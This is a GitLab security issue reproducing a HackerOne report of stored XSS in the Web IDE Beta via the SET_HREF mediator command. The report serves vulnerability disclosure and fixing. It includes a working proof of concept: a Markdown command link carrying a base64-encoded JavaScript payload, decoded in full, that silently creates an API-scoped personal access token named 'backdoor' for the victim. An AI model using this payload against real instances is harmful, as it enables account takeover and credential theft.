Skip to content

Stored XSS in Web IDE Beta via crafted URL executing SET_HREF mediator command with user-controlled href attribute

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1940598 by viridian_40826d on 2023-04-10, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary

Since v15.7, GitLab ships with a new Web IDE powered by the Monaco editor.

The Web IDE is architected such that certain interactions take place outside of the sandboxed Monaco runtime environment. These interactions are handled by the vscode-mediator-commands package:

The vscode-mediator-commands package creates a set of commands that can be triggered from the VSCode Extension runtime environment but are executed in the Iframe runtime environment. This means that web requests naturally use the Main cookie and the command can have full access to the provided configuration.

One such mediator command is SET_HREF, which constructs a URL object by concatenating the value of window.parent.location.href with the href string attribute:

const parentHref = window.parent.location.href;  
const newUrl = new URL(href, parentHref);  
window.parent.location.href = newUrl.href;  

By default, the UI calls the SET_HREF command referencing an enum of trusted links to the preferences and feedback pages so that these can be opened in a new tab, outside of the sandbox:

GitLab_WebIDE_Mediator.png

However, the href attribute can become user-controlled when a mediator command URL is formed in Markdown. We can then clobber the parentHref by introducing our own URL in href with an explicitly defined scheme, like so:

<!-- Opens the result of: new URL("javascript:confirm(document.domain)", "https://gitlab") -->  
[Execute command](command:gitlab-web-ide.mediator.set-href?["javascript:confirm%28document.domain%29"])  

While the subframe used to preview Markdown is itself sandboxed, the editor frame and its interactions with the mediator are not. Since the Web IDE supports Monaco's "follow link" behaviour, an attacker can execute arbitrary JavaScript in a victim's GitLab session when they Ctrl/Cmd-click a crafted link in a Markdown file:

GitLab_WebIDE_XSS.png

Environment

Self-managed GitLab CE and EE instances where a strict CSP is not enforced are affected by this vulnerability.

gitlab-rake gitlab:env:info output:

System information  
System:     Ubuntu 20.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   3.0.5p211  
Gem Version:    3.2.33  
Bundler Version:2.3.15  
Rake Version:   13.0.6  
Redis Version:  6.2.11  
Sidekiq Version:6.5.7

GitLab information  
Version:    15.10.2-ee  
Revision:   a54d6973eae  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 13.8  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:    14.18.0  
Repository storages:  
- default:  unix:/var/opt/gitlab/gitaly/gitaly.socket  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  

Steps to Reproduce

  1. Bring up an instance of GitLab EE (herein https://gitlab) following the installation instructions.

  2. Enable the vscode_web_ide feature flag by running gitlab-rails console followed by Feature.enable(:vscode_web_ide) once inside the IRB shell. (Please note: per the documentation, the new Web IDE will be enabled by default in v15.11 which releases in 12 days' time and so enabling this feature flag will soon no longer be required).

  3. Create a new project from https://gitlab/projects/new#blank_project and commit a README.md file containing the following proof of concept link, whose decoded JavaScript is included at the end of this section under "PoC Code":

    [Execute command](command:gitlab-web-ide.mediator.set-href?["javascript:eval%28atob%28'dmFyIHRvayxwPW5ldyBET01QYXJzZXIsbz13aW5kb3cubG9jYXRpb24ub3JpZ2luO2ZldGNoKG8rIi8tL3Byb2ZpbGUvcGVyc29uYWxfYWNjZXNzX3Rva2VucyIpLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiBlLm9rP2UudGV4dCgpOlByb21pc2UucmVqZWN0KGUpfSkpLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiB0b2s9cC5wYXJzZUZyb21TdHJpbmcoZSwidGV4dC9odG1sIikuZ2V0RWxlbWVudHNCeU5hbWUoImNzcmYtdG9rZW4iKVswXS5jb250ZW50LGZldGNoKG8rIi8tL3Byb2ZpbGUvcGVyc29uYWxfYWNjZXNzX3Rva2VucyIse2NyZWRlbnRpYWxzOiJpbmNsdWRlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIixtZXRob2Q6IlBPU1QifSxib2R5OmBhdXRoZW50aWNpdHlfdG9rZW49JHtlbmNvZGVVUklDb21wb25lbnQodG9rKX0mcGVyc29uYWxfYWNjZXNzX3Rva2VuW25hbWVdPWJhY2tkb29yJnBlcnNvbmFsX2FjY2Vzc190b2tlbltleHBpcmVzX2F0XT0mcGVyc29uYWxfYWNjZXNzX3Rva2VuW3Njb3Blc11bXT1hcGlgLG1ldGhvZDoiUE9TVCIsbW9kZToiY29ycyJ9KX0pKS50aGVuKChmdW5jdGlvbihlKXtyZXR1cm4gZS5vaz9lLmpzb24oKTpQcm9taXNlLnJlamVjdChlKX0pKS50aGVuKChmdW5jdGlvbihlKXthbGVydChgQ3JlYXRlZCBwZXJzb25hbCBhY2Nlc3MgdG9rZW46ICR7ZS5uZXdfdG9rZW59YCl9KSk7'%29%29"])  
  4. Open the README.md file in the Web IDE (https://gitlab/-/ide/project/demo/edit/main/-/README.md) and Ctrl/Cmd-click on the "Execute command" link.

  5. Observe the JavaScript alert dialog containing a newly minted personal access token for the logged-in user.

PoC Code
var tok,p=new DOMParser,o=window.location.origin;fetch(o+"/-/profile/personal_access_tokens").then((function(e){return e.ok?e.text():Promise.reject(e)})).then((function(e){return tok=p.parseFromString(e,"text/html").getElementsByName("csrf-token")[0].content,fetch(o+"/-/profile/personal_access_tokens",{credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded",method:"POST"},body:`authenticity_token=${encodeURIComponent(tok)}&personal_access_token[name]=backdoor&personal_access_token[expires_at]=&personal_access_token[scopes][]=api`,method:"POST",mode:"cors"})})).then((function(e){return e.ok?e.json():Promise.reject(e)})).then((function(e){alert(`Created personal access token: ${e.new_token}`)}));  

Impact

An attacker who convinces a victim to interact with a Markdown link in the new Web IDE can execute JavaScript in that victim's GitLab session allowing them to perform unwanted actions on their behalf and take over their account.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: